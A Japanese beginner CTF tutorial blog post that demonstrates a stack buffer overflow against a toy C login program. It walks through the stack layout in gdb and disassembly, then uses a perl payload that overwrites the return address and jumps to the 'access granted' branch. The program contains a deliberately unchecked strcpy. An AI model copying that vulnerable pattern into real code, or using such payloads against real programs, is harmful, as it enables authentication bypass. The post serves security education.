7
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

CTFerへの道(2)「戻りアドレスを変更する」

Posted at

はじめに

こんにちは!@flat-fieldです!
今回は,戻りアドレスを変更することによる攻撃手法についてご説明します.

読者対象

  • CTFこれからやってみたいと思っている人
  • CTF始めたけどよく分からないって人
  • C言語の基礎知識がわかっている人
  • 面白そうだから読んでみたいという人

攻撃対象プログラム

今回は以下のプログラムに攻撃を仕掛けます.

# include <stdio.h>
# include <stdlib.h>
# include <string.h>

int check_authentication(char *password) {
   int auth_flag = 0;
   char password_buffer[16];
   char correct_password[256];
   FILE *fp;

   fp = fopen("password.txt", "r");
   fgets(correct_password, 256, fp);
   correct_password[strlen(correct_password)-1] = 0;

   strcpy(password_buffer, password);

   if(strcmp(password_buffer, correct_password) == 0)
      auth_flag = 1;

   return 0; // 絶対に認証が通らないようにする。                                                                                                              
}

int main(int argc, char *argv[]) {
   if(argc < 2) {
      printf("使用方法: %s <パスワード>\n", argv[0]);
      exit(0);
   }
   if(check_authentication(argv[1])) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
      printf("   アクセスを許可します。\n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else {
      printf("\nアクセスを拒否しました。\n");
   }
}

認証機能プログラムなのですが,いくらパスワードを入力しても絶対に認証が通らないように設計されている,クソプログラムです.
「check_authenticationで必ず0が返されるから,アクセスを許可出来るわけないだろ!!!」と思った方に,「え!!アクセス許可されてしまう攻撃があるんだ...」と理解してもらうのが本記事の目的です.

早速このプログラムの動作を見ていきたいのですが,その前に関数が呼び出された時にスタックがどのような動作をしているのかを見てみましょう.

関数呼び出し時のスタック動作

main関数からcheck_authentication関数に制御が移るとき,スタックは次の動作を行います.

  1. check_authentication関数が終わった次に実行するアドレス (main関数への戻りアドレス)をスタックにpushする
  2. main関数のスタックベースポインタ(rbp)をpushする.
  3. check_authenticationの各局所変数をスタックに積む

図でかくとこんな感じになります.

名称未設定.001.jpeg

ここでポイントなのは,password_bufferに大きなデータを格納すると,main関数への戻りアドレスを書き換えることができてしまう,ということです.

その部分について詳しく説明していきます.

デバッグして動作を確認する.

まずはコンパイルしてgdbデバッガを立ち上げます.

bash
root@kali:~/Desktop/Hacking/mycode# gcc -g -o my_auth_overflow2 my_auth_overflow2.c
root@kali:~/Desktop/Hacking/mycode# gdb -q my_auth_overflow2
Reading symbols from my_auth_overflow2...done.
gdb-peda$ 

続いて,ブレークポイントを設定するために行番号付きプログラムを表示させ,28行目と15行目, 20行目にブレークポイントを設定します.

bash
gdb-peda$ list 1
1	#include <stdio.h> 
2	#include <stdlib.h> 
3	#include <string.h>
4	
5	int check_authentication(char *password) {
6      int auth_flag = 0; 
7	   char password_buffer[16];
8	   char correct_password[256];
9	   FILE *fp;
10	
gdb-peda$ 
11	   fp = fopen("password.txt", "r");
12	   fgets(correct_password, 256, fp);
13	   correct_password[strlen(correct_password)-1] = 0;
14	
15	   strcpy(password_buffer, password);
16	
17	   if(strcmp(password_buffer, correct_password) == 0) 
18	      auth_flag = 1;
19	
20	   return 0; // 絶対に認証が通らないようにする。
gdb-peda$ 
21	}
22	
23	int main(int argc, char *argv[]) { 
24	   if(argc < 2) {
25	      printf("使用方法: %s <パスワード>\n", argv[0]); 
26	      exit(0);
27	   }
28	   if(check_authentication(argv[1])) {
29	      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 
30	      printf("   アクセスを許可します。\n"); 
gdb-peda$ break 28
Breakpoint 2 at 0x555555555280: file my_auth_overflow2.c, line 28.
gdb-peda$ break 15
Note: breakpoint 1 also set at pc 0x555555555208.
Breakpoint 3 at 0x555555555208: file my_auth_overflow2.c, line 15.
gdb-peda$ break 20
Breakpoint 4 at 0x55555555523f: file my_auth_overflow2.c, line 20.

ではプログラムを試しに走らせてみましょう.

bash
gdb-peda$ run AAAA
Starting program: /root/Desktop/Hacking/mycode/my_auth_overflow2 AAAA
Breakpoint 2, main (argc=0x2, argv=0x7fffffffe1b8) at my_auth_overflow2.c:28
28	   if(check_authentication(argv[1])) {
gdb-peda$

ここで,次にどのアセンブリ命令を実行しようとしているか確認しましょう.

bash
gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000555555555246 <+0>:	push   rbp
   0x0000555555555247 <+1>:	mov    rbp,rsp
   0x000055555555524a <+4>:	sub    rsp,0x10
   0x000055555555524e <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000555555555251 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000555555555255 <+15>:	cmp    DWORD PTR [rbp-0x4],0x1
   0x0000555555555259 <+19>:	jg     0x555555555280 <main+58>
   0x000055555555525b <+21>:	mov    rax,QWORD PTR [rbp-0x10]
   0x000055555555525f <+25>:	mov    rax,QWORD PTR [rax]
   0x0000555555555262 <+28>:	mov    rsi,rax
   0x0000555555555265 <+31>:	lea    rdi,[rip+0xdac]        # 0x555555556018
   0x000055555555526c <+38>:	mov    eax,0x0
   0x0000555555555271 <+43>:	call   0x555555555060 <printf@plt>
   0x0000555555555276 <+48>:	mov    edi,0x0
   0x000055555555527b <+53>:	call   0x5555555550a0 <exit@plt>
=> 0x0000555555555280 <+58>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000555555555284 <+62>:	add    rax,0x8
   0x0000555555555288 <+66>:	mov    rax,QWORD PTR [rax]
   0x000055555555528b <+69>:	mov    rdi,rax
   0x000055555555528e <+72>:	call   0x5555555551a5 <check_authentication>
   0x0000555555555293 <+77>:	test   eax,eax
   0x0000555555555295 <+79>:	je     0x5555555552bd <main+119>
   0x0000555555555297 <+81>:	lea    rdi,[rip+0xda0]        # 0x55555555603e
   0x000055555555529e <+88>:	call   0x555555555040 <puts@plt>
   0x00005555555552a3 <+93>:	lea    rdi,[rip+0xdb6]        # 0x555555556060
   0x00005555555552aa <+100>:	call   0x555555555040 <puts@plt>
   0x00005555555552af <+105>:	lea    rdi,[rip+0xdcf]        # 0x555555556085
   0x00005555555552b6 <+112>:	call   0x555555555040 <puts@plt>
   0x00005555555552bb <+117>:	jmp    0x5555555552c9 <main+131>
   0x00005555555552bd <+119>:	lea    rdi,[rip+0xde4]        # 0x5555555560a8
   0x00005555555552c4 <+126>:	call   0x555555555040 <puts@plt>
   0x00005555555552c9 <+131>:	mov    eax,0x0
   0x00005555555552ce <+136>:	leave  
   0x00005555555552cf <+137>:	ret    
End of assembler dump.
gdb-peda$ 

0x0000555555555280を次に実行することがわかりました.
check_authentication関数を実行するには,0x0000555555555280 ~ 0x000055555555528bまでのアセンブリ命令を実行して前処理を完了させ,実際に0x000055555555528eでcheck_authentication関数を実行します.

では,check_authentication関数を終えた後は,main関数のどのアセンブリ命令を実行して欲しいでしょうか?

もちろん,check_authentication関数を呼び出し元の次の命令(0x0000555555555293)ですね.

では本当に0x0000555555555293に戻りアドレスが設定されているか確認してみましょう.

bash
gdb-peda$ n
Breakpoint 1, check_authentication (password=0x7fffffffe4fe "AAAA") at my_auth_overflow2.c:15
15	   strcpy(password_buffer, password);
gdb-peda$ p &password_buffer
$1 = (char (*)[16]) 0x7fffffffe090
gdb-peda$ x/20xw &password_buffer
0x7fffffffe090:	0x00000000	0x00000000	0x5555531d	0x00005555
0x7fffffffe0a0:	0x55559260	0x00005555	0x00000000	0x00000000
0x7fffffffe0b0:	0xffffe0d0	0x00007fff	0x55555293	0x00005555
0x7fffffffe0c0:	0xffffe1b8	0x00007fff	0x00000000	0x00000002
0x7fffffffe0d0:	0x555552d0	0x00005555	0xf7e12b17	0x00007fff

上記では,nコマンドによって28行目の次の命令を実行させ(つまりここでcheck_authentication関数に入る),
p &password_bufferによってpassword_bufferのアドレスを表示させています.
main関数への戻りアドレスはpassword_buffer以降に格納されていますので, x/20xw &password_bufferによって,password_bufferが格納されているアドレスから20ワード(20 x 4バイト)分を表示させてみます.すると,戻りアドレスらしきものが含まれていますね.

0x7fffffffe0b0:	0xffffe0d0	0x00007fff	0x55555293	0x00005555

リトルエンディアンで表示されているので分かりにくいですが, 3ワード目と4ワード目が戻りアドレスを表しています.
つまりこの部分を書き換えることによって,自由に制御場所を設定することができるのです!!

アクセス許可を出してみる

ここまでわかったので,実際にアクセス許可を出させる攻撃を仕掛けてみましょう.
もう一度アセンブリ命令をみてみましょう.

bash
gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000555555555246 <+0>:	push   rbp
   0x0000555555555247 <+1>:	mov    rbp,rsp
   0x000055555555524a <+4>:	sub    rsp,0x10
   0x000055555555524e <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000555555555251 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000555555555255 <+15>:	cmp    DWORD PTR [rbp-0x4],0x1
   0x0000555555555259 <+19>:	jg     0x555555555280 <main+58>
   0x000055555555525b <+21>:	mov    rax,QWORD PTR [rbp-0x10]
   0x000055555555525f <+25>:	mov    rax,QWORD PTR [rax]
   0x0000555555555262 <+28>:	mov    rsi,rax
   0x0000555555555265 <+31>:	lea    rdi,[rip+0xdac]        # 0x555555556018
   0x000055555555526c <+38>:	mov    eax,0x0
   0x0000555555555271 <+43>:	call   0x555555555060 <printf@plt>
   0x0000555555555276 <+48>:	mov    edi,0x0
   0x000055555555527b <+53>:	call   0x5555555550a0 <exit@plt>
   0x0000555555555280 <+58>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000555555555284 <+62>:	add    rax,0x8
   0x0000555555555288 <+66>:	mov    rax,QWORD PTR [rax]
   0x000055555555528b <+69>:	mov    rdi,rax
   0x000055555555528e <+72>:	call   0x5555555551a5 <check_authentication>
   0x0000555555555293 <+77>:	test   eax,eax
   0x0000555555555295 <+79>:	je     0x5555555552bd <main+119>
   0x0000555555555297 <+81>:	lea    rdi,[rip+0xda0]        # 0x55555555603e
   0x000055555555529e <+88>:	call   0x555555555040 <puts@plt>
   0x00005555555552a3 <+93>:	lea    rdi,[rip+0xdb6]        # 0x555555556060
   0x00005555555552aa <+100>:	call   0x555555555040 <puts@plt>
   0x00005555555552af <+105>:	lea    rdi,[rip+0xdcf]        # 0x555555556085
   0x00005555555552b6 <+112>:	call   0x555555555040 <puts@plt>
   0x00005555555552bb <+117>:	jmp    0x5555555552c9 <main+131>
   0x00005555555552bd <+119>:	lea    rdi,[rip+0xde4]        # 0x5555555560a8
   0x00005555555552c4 <+126>:	call   0x555555555040 <puts@plt>
   0x00005555555552c9 <+131>:	mov    eax,0x0
   0x00005555555552ce <+136>:	leave  
   0x00005555555552cf <+137>:	ret    
End of assembler dump.

アクセス許可を表示する部分は,0x0000555555555297 ~ 0x00005555555552b6になっております.
したがって0x0000555555555297を戻りアドレスに設定すれば良さそうですね.

そのためには何をパスワードとして入力させれば良さそうでしょうか?

もう一度以下の命令をみてみましょう.

bash
gdb-peda$ x/20xw &password_buffer
0x7fffffffe090:	0x00000000	0x00000000	0x5555531d	0x00005555
0x7fffffffe0a0:	0x55559260	0x00005555	0x00000000	0x00000000
0x7fffffffe0b0:	0xffffe0d0	0x00007fff	0x55555293	0x00005555
0x7fffffffe0c0:	0xffffe1b8	0x00007fff	0x00000000	0x00000002
0x7fffffffe0d0:	0x555552d0	0x00005555	0xf7e12b17	0x00007fff

password_bufferが格納されているアドレスから,11ワード目と12ワード目が戻りアドレスとなっております.したがって,10ワード目(40バイト分)はゴミデータを入れて,11ワード目以降は0x0000555555555297を入力できれば良さそうですね(リトルエンディアンで入力することに注意してください).

以下のコマンドを打ってみましょう.

bash
gdb-peda$ run $(perl -e 'print "A"x40 . "\x97\x52\x55\x55\x55\x55"')
Breakpoint 2, main (argc=0x2, argv=0x7fffffffe198) at my_auth_overflow2.c:28
28	   if(check_authentication(argv[1])) {
gdb-peda$ c
Breakpoint 1, check_authentication (password=0x7fffffffe4d4 'A' <repeats 15 times>...) at my_auth_overflow2.c:15
15	   strcpy(password_buffer, password);
gdb-peda$ c
Breakpoint 4, check_authentication (password=0x7fffffffe4d4 'A' <repeats 15 times>...) at my_auth_overflow2.c:20
20	   return 0; // 絶対に認証が通らないようにする。
gdb-peda$ c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>, argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at my_auth_overflow2.c:35
35	}
gdb-peda$ 

はい,アクセスが許可されましたね.

このようにスタックバッファーオーバフローを利用して戻りアドレスを書き換えることによって,
自由に制御位置を設定することができるのです!!!!!!

参考文献

7
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?